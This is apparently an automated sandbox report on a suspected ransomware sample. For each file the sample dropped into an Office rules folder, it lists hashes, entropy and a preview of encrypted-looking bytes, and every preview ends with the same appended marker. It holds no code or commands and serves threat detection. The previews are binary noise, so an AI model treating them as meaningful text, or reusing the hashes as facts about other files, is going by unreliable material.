MD5:	993277998BD9158BFF61D9443A3F4960
SHA1:	4BA0926C09A8C6ADED43159A58424DC0E0AA944B
SHA-256:	3450636F5B7CDFC71A92E8E097D8F2E6104C9E9B3AC22715D33523101CE3CC98
SHA-512:	D1D8A50218BC11EEA1CF9EA5F96DF1DCCA0AD9819AC3A6DD6BEF97287B843314D157AB7AA26160C9AA10DDD00234EA8F6596EF671621F3284570025808B6A4A6
Malicious:	false
Preview:	.<?S..e...F.W....s.'2..x.......r..kc...?...D R....@...2..9.XW..#...x...s.......I.....0..-7In........Bu.S.a"1.?..z..?...E.?..d{........3.&O^.........L0..(......a{.t....A. .3.w.......a..a.!;q.j...&:=J.&...(T....+.(.T.......;F.t.8..Y....v...S...?<>...v...".EO..'?5...Dy....l..y.S.HA.3..._.....\w..Q8....Dc....7....b....I..QrX+p,w.H...b1.4Dj.pT..3..XdV....g..=....E..sC........6wD]..2..mD.h.'+..n.2b..V..3_..7.......]..t....%@u;...b..?..0.c....G%....Z....Z..g...rz".`.HJn..i1.@.5..v>.8 O,.{.%`...<\|..>....s...x...]r.2.i.%dt..,.3.....B...7..T4....9,..N.......^.W..5.S..L..<....]9Qsp.vbo..%..-....c.WG+X8S?%....d.pB..Uu.d.~gn+(F...NZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.759570690117974
Encrypted:	false
SSDEEP:	12:bq84u5JW4KEeaLstg8z5yTlkyh1Cu+pc4u+NB1o/1wntXlC5jNZmuOcii9a:bB5oEeZg8zkZkyh1CG4r+wt05ZlObD
MD5:	146A093DAFE8ACD3D7BDE1F59857C7FD
SHA1:	13E5A74CDCD21CE4C0D4863F214265C9C11F7C78
SHA-256:	DB4983ED1FECE103C16308B1E66F3341714BB37800417C5F24A3C59D20C5B4CD
SHA-512:	4C6484AF61407442A2EA33AC777B479C4B3437BD17EE49B389093EF0CABAEF3E6C2C3310DE365E4264F1B42EB0E429DCCD815A3E912169B0077A8C982F43C9B3
Malicious:	false
Preview:	.<?.h...M..w....#.e...'kq.}.......C(.!.......(.dy....a7....C...iEg..i=dw.....)...............Y.......rq.......Z..I.C..%6.].U.......t..Hu.....U.y.......Z..^.F...._......;}.E....Brc$..'.f..b.. B..]....Y.D....1..7.%.v.....\|c.@..W=.?>.WJ...Vg/&.S>K.B.......:...T....KZ...zI..p.. .. .....ee....4...p+~T..`... .M..kW.TQb......3.....7..........h...=.....p.jz.:...;.e..w..z...H(6..w......^.n..'.#......@.>......l..1...]2.......f...Q.....4...N.Na......2.P.,..>].j?....0..}T.;.w....mr...0..6..Z...q...........<k:z..y2....-!D..PE.Z $/..k.7?dp.q...k[.z?..B....)Nf\_....zR...J.{...$o..^..[.ZW.e).QT...E..582<..E. ...{...7..d(qi.sP..Y..A....o.N..b%c....x......1..k.n...l............V..E..M.2X.L..>..a..&7.9N.>oZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.690501975004782
Encrypted:	false
SSDEEP:	12:aeZ3eMtFMSNg97MhHW+h0NcD3C+1hhmyLfJ8eRCs/5dCjEh2/qytgLWkSuOcii9a:7BFQMlCqOshBR8eRCsxdhh2yytQXObD
MD5:	8CABB1205F5E8A5B32C97F77DA463190
SHA1:	6E4B308D532C7E08EF1E937806D784CF775D0E3D
SHA-256:	25E6DE7A4E9B4AEC2E237D053F1BED4B6D938EA8FF9D97C7A926067F5A0C74B4
SHA-512:	D7C914ABC0A2C9EB90C19C2F71B29C048CF77583B777EBF22C72809C39B4DD1CED13B4489C91E8C190BCE07FC61365636A641FA79BD73954007089CEB7B4E15A
Malicious:	false
Preview:	.<?..(.SnW.~...D.C....L....._9.-W..bV..<.ly.v1...,.~~..0.L..-.x...s..7.`.N.(;..O#.@.Y..h...).)u..I...7(...]....*..dW.s\u.....n.I.YP....>....c-w?P9.5yp..........c....0~.....q....'V...&......+y.d..FA]o....@..JQ\..H..F...+r..O~.!..L..$=...V..}z..(.....@..i.+...#..pT.k{..>....@[..e7...W\|&W.$..Z..Z..1.....x#Y_..;......kM.L...........=.....F..O.../2......IqD..CX.....C...>..P.y.=o....).4..`s..#...,.lD...........?_....p.....N'pY=....\/~'\|..1.w.!V..AS...~......&Sy.Z.%..w..y..V'..6Y....1..~.d.....t..-g..P..5%.5.Y/..4....b..........ZEC..j.4.A,._.:=..".)..'..X./.ej..<z.....?...e=;...e^[$/Q!{j.8I........6=&D..O.?...wQ......JC......X.~.%....r"E....!...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.7450232814342135
Encrypted:	false
SSDEEP:	24:WfAJdulPrT09My4GC44m2vHJG8YrreEofy7WtBSfSObD:wAJdMvDDQqHJGL3ofy7m0D
MD5:	A0C49A083CE94EDDEAF20829ABA1CB13
SHA1:	C78830390E7F853DE8B8F3E99FC6FE776030EFBE
SHA-256:	BEC6A34F2B24C5ECAF373D679AB807CB6D7B02E82F6D73A37F45190B20575381
SHA-512:	E34E8D0522355B838545F4D6043363F77A7208CD5606A9978A87FC04517E87930F3D7DD02C34A46A23BD010332D0065AC6950A6C08FDF80BE1CEF2931617F7C9
Malicious:	false
Preview:	.<?+.Ff.<@.71B.v..}.u......j.......G[s..KRhj,:.B+O<....+..<...Z.d..P.6...H='Qh.#..$..R?....T.......<.......=t$.!...c.vs......E.95-..XK.q.7.;g.]...\|..$.....^..g].8..F........k.f.cX.....45.d.M2`f.l.Z.i...3)".SL.9....-Ti..8.Ey.W .G...Y.I.].V..............:.....%8......t#'f ....9.....E.,w.......L..'.............v..IH.<...Xz;~..5...b`W.:...Um.0.#....L".j...a...9.......%6..O.?'........QKf..........Z.X"m..1t-N....{=....Kn.Mu'sA.>.6...9.4..Z/....o......y'.X)...'VJTJe..4..Q.^..n..D#..3..\.%...xD.=.....n.x....$;6....F........-.oSN.v..(....R......\|a.._.o.G..U.>3.......:..9.#v....y0...4..2....~3S.W.;p...L..TG..5_.q,r...9c...4.^.<.......bL!~...v...5....->..~;T....;".eX........(.p} f....`........~.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.69927938300051
Encrypted:	false
SSDEEP:	12:7kJFrIgFZ9fjjpLP/m7z+vP1ZuE1BCZP4CgRNT3hkGjrP+Vpn8fF5/uOcii9a:7pgF3LNPCzIbuIEZ6R/kGnIRm5GObD
MD5:	3276FD2772B07260ADC087928778EB0A
SHA1:	9EFF4A3DDE8BEB24F5510A9D01A261897D63391C
SHA-256:	BED79B65DA452AED58B376D1BF34A0674CFDA8796A251A1AD0C2CE0D6828996F
SHA-512:	E169C40DA61BA9CEF8F0327764592CCA7CFE62F302912653B39127C9456AEE44381464E06775E14DEBD283E8F50F28FC8F2C31B66F1AA91A77813D7658607143
Malicious:	false
Preview:	.<?k...7q2.n..R...2y\|....U....c.%x~.....W..........o.=...K..(.H...l;...vX.....~...H..0v...lu%\|....@L.Su.6..d3y....=>c...zD...$.W"..VK......Vl.4.$A.:..J.....Di..e...[.......%......z.8..a......8.n.-.@e4~.......j..w....!..}....vX.T.mm=...5nW....N...P5EK.?w..[d...[K.......i...D.j.v.?../...J.$'.0.j4/..T.f\....&OA...+...C).i..~.p.}<.~..M.#.....^X.u.C...(.<;.K......t..EX.Z.....I.Z.K..@...}n.l..i.....>).b;.G\|!..I.,R_....t......V.s.....J...1%b[.WQ=[.sP~.[.....;~Dk.).h..G..~(..DH.1...xGW..re....PM.%.....RIQ.8l.qpz......R)..E...>U..._.l......u..$..2yX^.....To.\|..KJ-....E..),..?2.._.1.....f`...jw.C...W..N.<...&..4..B..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.710720394726631
Encrypted:	false
SSDEEP:	24:XR7TfjSOVsu8O3D4wZZq5J6cTkLzt6ObD:1JKKD4aZq58LzLD
MD5:	F65C1206651EFCE9D69EF07DD1BF077C
SHA1:	8F9B4A6EAA8792DCEA28E11AD9C523F554948523
SHA-256:	63850B93707645CC487BCA846D8800742BA2DB7215A1D2151573DD9FF868D084
SHA-512:	1216167CB81A793ED7AD44E0A39D0410EBC9C143800F1A617EBDAEE0A6E856AAEDBF13686A3F115991EB4A0FFB408FB6908729F0519C7C2CB0FA8ED28556D2DB
Malicious:	false
Preview:	.<?^..@....}2..\...:......P.z.)...2.9...u>L`.M..P../M]H.4....^-6.b!..-0...v=....b}..=T+.....f...'...y._;.\|....ay...`.y.o=%...SNw.P...f..E..zI.3.}...b.C{C...x'.}.E9....D.=...V.U.....4..N.)..>I..1..e1;....K......{...h..d]...f..T;H..@.s....n...q{1.W...Eu^Y......m.^7.G..;.k..P.f..G..P0P.. ...\|.....l.q.mq..\.D...FW...Z.E...A....p........(.k.........![kE..[.e.M..s.3uk1,.A.W0..o.Y.....r]f.2.K........x.y.lk..6.. .ki.Ug.2.....Y......;.. .]....$..;.t..'....'4....Q.KZ..\|Q..<...g...._#.+...ye....\.......3tGJ,..{.5.w.n...cD.Pe....\.N.R.l..)..>k)..81/..8..F...q...Z.g.Yv..\|dN.p..A....?..?..(.......o"........=.8}...K..a..H...-q.....H.....]....O{.IK.....@9.FE>...M.\...e.....:....^...$Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7608095210555215
Encrypted:	false
SSDEEP:	12:Z5TuVzSdUgjLMi/I4E3OFjOW3oUq+fnXJP7AuKaBzHUsvXLbPPbo11ew2yJ/GemQ:LucLI4njlf9AsBzHXv7bP21ew1fmqYix
MD5:	1870387CEF8BBE201A6499D0BB633687
SHA1:	4295DD69C570653A2F29D1CED5E1DEB2255FC836
SHA-256:	10799482CCB51B1F310A9ECEEFCF52B77CE7BAC22D5609DC830702542DAD2575
SHA-512:	D8AEED8AB51FFD931FCBF8FDF6EE2AB53FC9DE27BEE7361801C769D082EE47C81256AFCED4F9957A81F09DEB823E2A7A8A38F439365537C5D0FCF9D4062DBFDE
Malicious:	false
Preview:	.<?,~;..%SY.h....8^S.....B2.Q#.TV...f.=....\....O.zc..C.....!.p..,.!2...x.3.CFC.Rp...u\.&..U..........%$.\|.\|9`..z.-..U............".%).qr5..P.]......{7. 9....Q..!:...+.\|C....\|...].]..H...!...\.?>..z./j......v...z.....\9..6...i..$.?F.m.....q...C...zu.(8.....Z.............x \|bQ..&...m...CG.\..}......%j.[e.....J..9:...bf.....Yw0..u..i..V.e..P..f.....#..?.....\..o...4$..o4..$_.....:..%^.8.~.7.I..k.&..t7..U...C....q.X...F....U.........E......J...l....O.~^.J..mH.S...S...=...RMkT.f.6......G.4ks..8..[*..,8,".(t.sh.b....".\|..V...0&..J......sE..&t.Z[..w.l......q...i...{...P.F.....E.4WG...5..C.S..^......^J.d...L....<K.X.a.i2.d,.a. ._....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.711657781286901
Encrypted:	false
SSDEEP:	12:MVU4hXo0Qc+VrMpA7bwTQwc0JpUAWs86aBOJCJ5wi/8N/dlcVIoluOcii9a:MVhXoH1VYi7bwkwEP6s/8NVlcVqObD
MD5:	27213E98FA55C686BD6C9401616F7A36
SHA1:	9ABFE3BF8018EB83036AD69308043945EC5385CF
SHA-256:	4E4DBDADD156498769990FD7EE51C86D6505E2E2C325D872AC47DBB741068232
SHA-512:	B2C27F08265B7CC2026F9938E711E506E9E73C0EA55A86B1E68B2957D15D126EB86A6EB1A0B89E3F8AF43E0927CE3DF6BEF68361137FBC961D52980006F557C6
Malicious:	false
Preview:	.<?.b.y....]R........6.>G$[(GQ.cc..L..&.}.+_./>lD../.......E.........25vT.'rr.........(2..U.v.L..'..\|.h4...b..a.........d..#b.....g.~.m~!')}".RK.T.......Y."..hC"...Q.grP...?b..[O......dc...0..2....om...Y..f.@..z..~[hz..QB...$.EW..\..}..s.X..mM.Q..#.#..j..X>.v..h...~(..;.K..Q...~.g.c.+.?lu..{ Q..F.F.".\L.q.....c.........H..!i...........{;...\|..j...J.(.....9.......#Z\|.0.....(...O...F.f./..h.X)l).?...n...9Z...{._.L...3o.0S"...Zt.......{..O.4..............F.;eh.m./&H...:....g\|u(.>.R........I)W...Mu!M...0.._@.x(+...6.0.{..BD.:f@w/.y..g..'.\....D...B..f.x"qE.....h..{..e...9n.....q.........OCH'.kH....Q..1.t.G.x..)..h..Y..Sx.....\../..N....D.+......U..G......j.....y....l...G.{..]...!7.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.756523915746165
Encrypted:	false
SSDEEP:	12:lf05J41adt3wKYCAwGzQ0vqeAog6NKlXzgHzAXitKZd6+8vSAx3aK2juGaqsuuOX:lf0XGazwzn64A9PzyAp6+8P3dqL8LObD
MD5:	28B23313F6284040AEDECFDD4F931762
SHA1:	05DF5A63FE00710156B8EC19E385BB4ACE75982C
SHA-256:	C2F3543876AC4A9684C512E957AF95C3E8B4413B725774689E145D495A707FD1
SHA-512:	F8B96252A4801E678485A0AA7D9C0B94BD274230020571999E060252A91016C25E319C2B036F8B39F69AD90A722B8FA022E5F57755A9BBF4B05D4D017587E3C0
Malicious:	false
Preview:	.<?^...o.<n.'.Syir...y.v.8.K.m.5.&y-fC.o.......':..-.3..q.wvAqe......[.rS<5^......c.k?._.f.Vo7_l..<.....F.l..\|...fz...>l(]......5..B.../...J...B.h..F:...i.I...L....2k.6.gl7.,..ff.M.......=.!N=U>...I.$..K..wAMS.<.b+S.@j.D..H.[Cg`......9...R..E.S.~...#..)R.r....l.i.......v.....c...@...j...U.t.K..C......<.0qn..S......h......{....jt.a....g...Me...".l_A1.....x\|...L.\........9.n.2.%Gt/..R.u....1....Sw.z....Pb.X...J..8......Js..z......d....L}....4.U....&.(...\C.;].V......?.e.....s.m!..A..h....8q../k....;.._3..v...'....>....._75..sY'.:.l."A.>.l#W..}8...N..Z..gH.[!. .. -)...<.m.n!\|.i?.9(...)......c...^S....-..j%....33..&...#.x./......0.K..[.l...$.<....Z.7.~...7..EW..E\|.))C.......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.73559529868601
Encrypted:	false
SSDEEP:	24:8nNTdrFBQOPsL6MKVpiIvzmQ38gTWgtBNqdHfbObD:UFBQplm9mQlRPsmD
MD5:	0B82988C083810FB679DDB4AD5234B95
SHA1:	926AC9A2D3F0BD7DE269A82A1374D1474D39A0C8
SHA-256:	F452EEF71A5E60BAB92AA32B038AD3AF055E333F5B611E04877DA6E34A842737
SHA-512:	F5491E6232C7368AFCF81AFCEFED27605F88EDAB7CA8E72E5DA5BF0054EA850B2B08ECD4D26359916548867EC3787DCBAB48F999F10CA4083F48EF75B37546C5
Malicious:	false
Preview:	.<?<..kR.X`[.5y..1]}.sr.b5..4/~....a.v.}...Y.lcz..q4`.A..B....z.l.....f..QI}....+.8"....xr..G....34..p..E...D..U.p.F..}\|......(C.@.CiY.}..q=.._..d.....`.4..k.V.=...24^..{.....?V.n.... .<..^..-../.k.+....j..`H....._G@.oH...&..[...g.g..t.....m.B.....d.QD..tn.............=#...~.t......P.").M5..... u..=W...w1?.Zr.y?.z.X..0....y9(x./.M......s...#>...o.."..L......,hU..e.....M4.j.3.E..c....2q.&....'..V8...>.zJ.. `-..CSF..7/...x.O.?d...=.h...\..t.G..DU..w.U..1i...s....L.s.Jf~}?G..,Z..'..=.C........N..,V..m;....hx..UR......."...\|.\|n..c.h..P........,...r..Cv.-.>..d=\|~A.%..j"gH.,...C..^.....1..Yf..D..[..:....[....__zC5U...t6.Z...H..:.v.g!#.a..\|.R....5 ...56.&......Yd.^c.f#.1O...t.f.uq.R7G.W.......N..7dl.'.9.y..s...&WI$O.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.647678293342127
Encrypted:	false
SSDEEP:	12:EcJk1PAYh1m8O9+iSqZBtBH8D5r52C2jpscSj8BWDl3ejzPd8pRy/tayuOcii9a:EcJkFAm1LO9xSqZvBcdR2jTSjpDluj7J
MD5:	C3B473A1FC4F0CB167B85D451C1E3D15
SHA1:	AF592F2426820E279D7BBAF0A9F6759242CA99B2
SHA-256:	B5003ECC34B199389069482728D19C201E6AFF58746C7BF0B03A28E1911C7FFE
SHA-512:	A00471F4BE23AB19E9EA44A48F1D513448CE85DB7D8F045EE684FCB942FB08E52A0F1428F6C0FA7D1AD2E1807C11E72096CCF4FA8C0977D256AF1FE5237E9442
Malicious:	false
Preview:	.<?.!..E.=/>...T.?$..1.)YNtd..F...#.5.].\..NK...x.......3.H.r...8d.Cd7tS..r.o6...9V1.......bu ..4.;..Ws.%x........0..J..3[.9x..e.b..[.........l.c...H..9..d./.k.......ncK.....[.l.X?...^@Wp..\|.Fp34.....).".n.&.,..`..+.)7a...(U .....$A.p.p..l..}..8.B..{.s./..`..U...{...j.Z.3#.q......F.`..H..K.g$F].~.T.........gf.K/r.."g.?..5...\"....>......\|.J..d.kI.I..;.d...k.T...H(.,.%V.w{p3U.f..h[..........W.A..4Q.u0.^.\|..m.;C... f..g6.e.Y..$..v.X....Jr..~.SW.U..]..c.;{+..G.-zG..2+-l.\h.'.2..]\.?..67'.>...T.+.] .3.T.....n.....y.h]$x.;.. ^"\|.T\|'~.....FD..]...m7.2uo....P2..kh.lW....F........8....u.B+@..>.Cvc.8IH.2,w.B...ynp0...+!.H.owi.0F..<t.....^:<..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.772541314224816
Encrypted:	false
SSDEEP:	24:oBjyFyFPp2oAnxRfid/HsrI4bSqeOZVPxzHIObD:oy8PgtLrImZVPV7D
MD5:	29CDE508361EBE314F752D524EFDA5AE
SHA1:	7F64140D1B452E1D383FD99329C4B4FAB7C9392A
SHA-256:	9E3C2BDFF9F1C78AFB49F435338CD4E8E1F9DA14FAFB05E57037664FFA5A3D21
SHA-512:	4150CD62C67A1BDEE99914C59C1302728BBF0E1F14AD99CC65A76DC465FE5707E33B86C5B7F6C5708AF1703EA839C9822BF15667EB9811DC1F9F7E3E250B29D3
Malicious:	false
Preview:	.<?f..e...)....O...\(b......GMu....~....... ..J"AO,.o....FQr:...6D~.ve.p...b.]...D0Ru.L...N.I.z.RW.:D...=j..'.g.e.L.^.......R.@.[../.\[fJ...........4...G'}...x..j.A...%.. ..r...Qgj..PN..H.+.X$..p....>...\|%D........y...H4.Z..3..!.......n...d.2.....,7/.X{X}.n.@...*.G.j....k.w......L.l.,J..s.R.@...7..s...........xs.B...9%J...t)ifni=m...K.)L...[.C.S]7._0....0.\..BB@.]...C......{..e.B..v~..w-.e...#v...l.f.Y...h....#....U.[....9" ...&.^b2........P.R3..3Z:..}. .=n..w..Y.<.....y...#S.$.-k._x..byH^.8.{(-2.r.X....4N.jkb.?R..<.f.9!...Y.\|...{.dzP.....[.m.lW.n..^+...uY....aK7..z}..Xu...!q..f....!..&^..........xh.6h..9..M.7L.....$...h.Bc.+K......$...RM&.;p..>. .....b....&^.....Z................$G`Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.732953859592284
Encrypted:	false
SSDEEP:	12:ChWbYhzcG4kp2O+GuMHib5g9DiG+h/1iwc2QDFLsprDMbW0vNUnxhSwwbuOcii9a:bbWcG4Q+G1HidVhNi2QDFLsdDMb/1UxY
MD5:	75917EEF296EE7A196E32AF538D05423
SHA1:	BBFE13271F61B085DD96F6FA2886A45CBCF68204
SHA-256:	D8A5B6DF5681DF38FACDB04AD2071F60275B5BD7FEBD47D7BABD2A187429730B
SHA-512:	C694FB5DB02E78B4BAD826238742D0542C43F0DC71F9A94D322E83BF5D531872EDEAC178C2580848E7E3661B57D9C6A688E1053A405E997AD2E627664E6864E5
Malicious:	false
Preview:	.<?.N..mFq..1...w..\Dz..u..} $b.r.K.u...~.}........c.c.(.?...b.9...m.....Y...<.J....^.6...d..m2........r._U?.!Yst.'..%"l.2...jx..8>x.p...5.$...h+.9.........ZR....D......0<..%>.B.../..]..Z....#.....Z.+.bc..LK..."..`.\.............v..'=.q....g..P...A.@.....[.9.ET7J.@..{......^#V...&b}...&.y0.....d....b....}eh]0........8.d..i...N.X`..8:...G2H&....\.oY...`o......C....o....S)`&.Y...]~....sI..T{.....NQh.$Z........a....5nT... X.O."3.B.......mU.o.>K.~..c.@o..0n.O..%N. tmG.}A.3.y..KY.,...i[F.=...f;....) .....!.)...R.w..9x...^.Y?p.....B.....,.....,)........../.A..f.H.*....W4.. A..u(1.....JD..B...YO;.@...=..J.'............aZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.7262110354336215
Encrypted:	false
SSDEEP:	12:Np7446IOTI96Z/YjmsV4nAJFCIQ6liFy6guUK8xL5oAtQy6vTyzWl9g8914uOciD:c46IOfMmN0+LeNxBmyCTgW3b/dObD
MD5:	2FC0B219CA125817D1711B0EEB5BCA0F
SHA1:	FC3E2CDAEDA27415BD730E74E65AA87093C962B5
SHA-256:	43C9DACCC84CABC126B51C13165F56A7F4E1F80C4E574C87681D9E583C0A49D8
SHA-512:	7AA7FB8178B05D7F0396699D1D0B278C91E733C22C28F9CB6425254E2C67B38FBC49D20540C34ED981B7B61A42D0DB1E96037001227595EC70DFE6A76058C1A4
Malicious:	false
Preview:	.<?[..[J...g.......7A....:..%...5...K.>.Y...wk..T.........QUjkI.O...@..h.5..rSasg...U_L&?c d.&"..d-=#.C..9........H...%z...#v.D.....)._ih.-*.......WC...N...1..}...!......)0>..E.q....8Y.K..;l..f.....k{..........Ufw;?x.......u..$.~...8!#bC...pp....!.+.t...1.X...HW.....5/....{.P.0.M.....F.=...D.dA.!.v..g...@..c....@Y...i8.y..i.T.G...(...N..0k#...P......dG.^...:...........FEH...zw.b-1.+.P..5....I.'W.I&......e..I..>5...2..o.@.v..7.N.....5y....m.!EA%C...O...K...\..Q6....+T....>z ....o...\|.Aj~..O.c..f..7<.i1.N..a.H....e.I...P8..o.HU.G..x.8>....1_.Y/.Z...3.4.^aD...+VU].+.%?..{L.'.l....].=m...xC.Vs"......B.f...."..5A.),..#6..$....7....\|..K..U..u..yE.0._.R`-..{ I.....S..k..S8.+.?...{).Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.717873633922651
Encrypted:	false
SSDEEP:	12:SIkE5YilFcdc2WKsaz5Tx3g8rex5OsRYcq939TiuYvp0yHUrjQfuOcii9a:SIkCY+umazNi7/HYcqtIXpWObD
MD5:	2050320800F2D31F6C8DE73DE1F40163
SHA1:	AA0206BA1DD1D18C4BBB9ADBFA6FAE0915D22003
SHA-256:	089B1823AEDB5A0AECD5EF30B6B67E1C9ECAC5448CE6B612BEEE35304886D3AB
SHA-512:	CAE41E4284E6690D0F9165B6348612599B723B43EDE2EA3213D83C28964F1C3FAE4E0541566FEE84E01010B44950332B0B41A095FC77C88249F056D8CF813DE8
Malicious:	false
Preview:	.<?W}.A...J.A.)...mf.@.......W...&.x,......g...?./5........A._.<...V!p..k.... tD.l8S...Uv./.S@....E.A8{.\|.....@.....3......Cj...c.:z.. .r_.o....8.......e..OiE.....D=.(V@.;..<r.....Q.c.2e.....0...v..\.....v...Uk~.....'..x0.oQ.Q.........H...i....94......>.KheS5.AbE.....Q.,...=.......;....;F.C.ff....F+.T.'.n.t.aGtT..1.....R.6....+.H....._9F.eNKi0=?M.D.....(_qj...n.\|+'.Nl..5.}...@o..9`...a..9]..=c.B...A.c.p2up.,..~{!...`A<..}....6..B].....C...o...m....UV:.D..opv-LB...J.a1.$@.?7dIq.'.M2..F.%..'........#.^.`h......PN%R.....B..,...,.V.X..l..R..3....].)Y...A..>T.......l....bz.NM;x._.....b3.3.t..Mp...F....#.o9.Z..k.n...$Q0.w..+.U..pF8.q.).z_..!u.(..3.0..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.698325421864332
Encrypted:	false
SSDEEP:	12:sIzaq6nDNPyusVzd8oF0d3hWc5gQupZO6wY6qGhwgaSrq6x9SLLTWBpa139hlu7N:LaZIRVzCoIscaQurbWGHbWBpaz2mObD
MD5:	FBE92CFD835D3A2359CEC860F86E2FE6
SHA1:	2325A454E8A3BD2B36031AC23184AD48C08E7D53
SHA-256:	E530670B7713A0EF1318CC155ECCD7534D26686C4E447AE62AEC3F27096EB35C
SHA-512:	13AD6F884E5AEB8DA1AD2C408EB06F0FC7CB4406176A6E87EE606521F4F5A21536598FE1BDB33C4DEA05C0C1EB32F9ED19EB79FE34D57FF39F1BBE054D623563
Malicious:	false
